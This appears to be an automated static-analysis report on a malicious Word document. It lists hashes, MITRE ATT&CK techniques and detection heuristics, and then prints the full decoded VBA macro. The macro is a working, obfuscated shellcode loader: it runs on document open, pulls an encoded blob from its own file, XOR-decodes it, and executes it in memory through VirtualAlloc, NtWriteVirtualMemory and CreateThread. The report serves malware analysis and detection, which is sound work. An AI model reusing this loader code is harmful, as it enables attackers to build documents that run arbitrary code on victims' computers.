Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90ef3f5ab9bb18c0…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-07-24 14:07:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: e5024cf737c7b8dfdca21ca2197f17c2 SHA-1: 49fb9b5f4a31e78a3f9f915a7fccfc854d355dbb SHA-256: 90ef3f5ab9bb18c083783cceee4ff17c052c2bd93a304e5d431c9510ef9daa3c
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize `VirtualAlloc` and `CreateThread` API calls, indicating an attempt to allocate memory and execute arbitrary code. This strongly suggests the macro's purpose is to download and execute a second-stage payload, consistent with a downloader or droppper malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    PVDfQkkxSMnekh
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4873 bytes
SHA-256: f82950a314c1a3b4d1b197b22bcef8a321f02ab519acdc086632d9c16c2f25d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
36 of 72 identifiers look randomly generated (e.g. 'BZWHTnQmOVXykTCuEqKUclQbDlvpESVpmBhbZgNq') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function XwPcIFOqMqfeHRdJeUUZBdUcQTqtc Lib "kernel32" Alias "CreateThread" (ByVal mlxJbLVEnn As Long, ByVal tGuqsUjuciqYkVAtmKUQGaJOGMObY As Long, ByVal JPNqHXXaGEcTwdVmmNAsITsws As LongPtr, WFJFfhwlzBlToC As Long, ByVal mepNNEGStzaAFiP As Long, rYoasrbzUwkEubtz As Long) As LongPtr
Private Declare PtrSafe Function rgBCIMZuItAKFbVu Lib "kernel32" Alias "VirtualAlloc" (ByVal ORonRojZJwsNuVSrMaC As Long, ByVal XrAqLswsScnpCMAy As LongPtr, ByVal MaAhpBp As Long, ByVal JimRFoIIAFwqXByRRgHickIvt As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ZZcpIQlzckk As LongPtr, ByVal nOFHcgdhhlCJqiUhO As LongPtr, ByVal AQysoJFkWFfxyoGq As String, ByVal TCviBrleOxtZzWeLDJtcUzWbRj As LongPtr, ByRef cKMocapaEsqYymoz As LongPtr) As LongPtr
#Else
Private Declare Function XwPcIFOqMqfeHRdJeUUZBdUcQTqtc Lib "kernel32" Alias "CreateThread"  (ByVal mlxJbLVEnn As Long, ByVal tGuqsUjuciqYkVAtmKUQGaJOGMObY As Long, ByVal JPNqHXXaGEcTwdVmmNAsITsws As Long, WFJFfhwlzBlToC As Long, ByVal mepNNEGStzaAFiP As Long, rYoasrbzUwkEubtz As Long) As Long
Private Declare Function rgBCIMZuItAKFbVu Lib "kernel32" Alias "VirtualAlloc" (ByVal ORonRojZJwsNuVSrMaC As Long, ByVal XrAqLswsScnpCMAy As Long, ByVal MaAhpBp As Long, ByVal JimRFoIIAFwqXByRRgHickIvt As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ZZcpIQlzckk As Long, ByVal nOFHcgdhhlCJqiUhO As Long, ByVal AQysoJFkWFfxyoGq As String, ByVal TCviBrleOxtZzWeLDJtcUzWbRj As Long, ByRef cKMocapaEsqYymoz As Long) As Long
#End If

Const ixZtqzqBRkXTzPxcmfFshvFHDe = &H1000
Const ebJnsRJMACMPrdNvNTmPMsSnKkhL = &H40

Public Sub PVDfQkkxSMnekh()
    Dim RnAqfIDVtZPHqFgBlSqQkg() As Byte

    RnAqfIDVtZPHqFgBlSqQkg = jtgOUFBfYGLYGyEEkWUdWbxKW(ActiveDocument.FullName)
    Dim fzWow As String
    fzWow = StrConv(RnAqfIDVtZPHqFgBlSqQkg, 64)
    
    Dim yunBrZvD
    yunBrZvD = Split(fzWow, "BZWHTnQmOVXykTCuEqKUclQbDlvpESVpmBhbZgNqQxpLGuqtyFFALAupiUdHRAIWaHlIMBvxDteEVfviUcRYnvEMgRSecfzqPtLZiIHXkhWrwQtdzVMPJJJEdzBUIrvxUOPCuw")

    Dim uLmakgbDURMkbmTqzLmv As String
    Dim lamvOpLpPsrUhWvSxwiVgrCQSmm As String
    Dim YFtDzglKJbudzCzQQ As String
    lamvOpLpPsrUhWvSxwiVgrCQSmm = StrConv(StrConv(yunBrZvD(UBound(yunBrZvD)), 64), 128)
    YFtDzglKJbudzCzQQ = Mid$(lamvOpLpPsrUhWvSxwiVgrCQSmm, 3, Len(lamvOpLpPsrUhWvSxwiVgrCQSmm))

    uLmakgbDURMkbmTqzLmv = evJtTerCOUxwCBcmqjYOvbKLiv("mvTOfympqxPEhsKGfKgVJgMpTMzxI", YFtDzglKJbudzCzQQ)
    
    #If VBA7 Then
        Dim SrPmClziWFcQcWAApoptaRO As LongPtr
        Dim okLiwDiJXaIlX As LongPtr
    #Else
        Dim SrPmClziWFcQcWAApoptaRO As Long
        Dim okLiwDiJXaIlX As Long
    #End If

    SrPmClziWFcQcWAApoptaRO = rgBCIMZuItAKFbVu(0, Len(uLmakgbDURMkbmTqzLmv), ixZtqzqBRkXTzPxcmfFshvFHDe, ebJnsRJMACMPrdNvNTmPMsSnKkhL)
    okLiwDiJXaIlX = NtWriteVirtualMemory(-1, SrPmClziWFcQcWAApoptaRO, uLmakgbDURMkbmTqzLmv, Len(uLmakgbDURMkbmTqzLmv), 0)
    okLiwDiJXaIlX = XwPcIFOqMqfeHRdJeUUZBdUcQTqtc(0, 0, SrPmClziWFcQcWAApoptaRO, 0, 0, 0)
End Sub

Public Function jtgOUFBfYGLYGyEEkWUdWbxKW(ByVal itkSoiiOlrflqBAx As String) As Byte()
    Dim lamvOpLpPsrUhWvSxwiVgrCQSmm As Long
    Dim YFtDzglKJbudzCzQQ() As Byte
    lamvOpLpPsrUhWvSxwiVgrCQSmm = FreeFile
    If LenB(Dir(itkSoiiOlrflqBAx)) Then
        Open itkSoiiOlrflqBAx For Binary Access Read As lamvOpLpPsrUhWvSxwiVgrCQSmm
        ReDim YFtDzglKJbudzCzQQ(LOF(lamvOpLpPsrUhWvSxwiVgrCQSmm) - 1&) As Byte
        Get lamvOpLpPsrUhWvSxwiVgrCQSmm, , YFtDzglKJbudzCzQQ
        Close lamvOpLpPsrUhWvSxwiVgrCQSmm
    Else
        Err.Raise 53
    End If
    jtgOUFBfYGLYGyEEkWUdWbxKW = YFtDzglKJbudzCzQQ
    Erase YFtDzglKJbudzCzQQ
End Function

Public Sub Document_Open()
    PVDfQkkxSMnekh
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function evJtTerCOUxwCBcmqjYOvbKLiv(evDSMZ As String, iRPEMplXrrmnySbnmpRbxcKYlxbng As String) As String
    Dim bKwDslwMwJ As Long
    Dim yJtyVWjdirCVYBfgQtp As String
    Dim XQfpBQVAPQA As Integer, FhUqhyzwTBM As Integer, a As Long

    For bKwDslwMwJ = 1 To Len(iRPEMplXrrmnySbnmpRbxcKYlxbng)
        a = bKwDslwMwJ Mod Len(evDSMZ)
        If a = 0 Then a = Len(evDSMZ)
        
        XQfpBQVAPQA = Asc(Mid$(iRPEMplXrrmnySbnmpRbxcKYlxbng, bKwDslwMwJ, 1))
        FhUqhyzwTBM = Asc(Mid$(evDSMZ, a, 1))
        yJtyVWjdirCVYBfgQtp = yJtyVWjdirCVYBfgQtp + Chr(XQfpBQVAPQA Xor FhUqhyzwTBM)
    Next bKwDslwMwJ
    
   evJtTerCOUxwCBcmqjYOvbKLiv = yJtyVWjdirCVYBfgQtp
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.